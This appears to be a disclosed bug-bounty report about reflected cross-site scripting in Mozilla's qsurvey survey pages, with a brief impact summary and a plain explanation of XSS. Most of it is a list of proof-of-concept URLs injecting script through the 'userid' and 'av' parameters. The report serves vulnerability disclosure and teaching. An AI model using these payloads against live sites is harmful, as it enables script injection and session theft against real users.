XSS in qsurvey.mozilla.com [2]
The qsurvey.mozilla.com survey pages reflected the 'userid' and 'av' URL parameters without sanitisation, allowing an attacker to inject JavaScript that executes in the victim's browser. An attacker could craft a link that runs arbitrary script in the context of the Mozilla domain.
- Fixed in 13 days
- Paid in 26 days
- Disclosed after 13 days
XSS:
https://qsurvey.mozilla.com/s3/*
or
https://qsurvey.mozilla.com/collab/*
(mirror)
Parameters: userid, av
PoC (userid):
https://qsurvey.mozilla.com/s3/userchrome-usage?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/VPN-Post-Shield-Survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/FF-Desktop-Post-Uninstall?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/search-survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/devpanels?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Price-Wise-Research-Study?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/addons-mozilla-org-survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Focus-2019-User-Survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Firefox-Monitor-Shield-Study-Survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Avatar-Experiment?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Avatar-Experiment-P2?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/d028b4c4d560?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/8bbcb0edc4ff?userid='-alert(document.domain)-'
...
PoC (userid + av) + POST XSS:
https://qsurvey.mozilla.com/s3/sdmt/?av='-alert(document.domain)-'&userid='-alert(document.domain)-'
...
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute arbitrary JavaScript in the context of qsurvey.mozilla.com, potentially stealing cookies or performing actions on behalf of the victim.
What the attacker needed
Victim clicks a crafted link
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website takes something from the URL and puts it directly into the page without cleaning it, an attacker can put code in the URL that the browser then runs. This is called cross-site scripting (XSS). Here, the survey site did that with two parameters, so a crafted link could run script as if it came from Mozilla.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.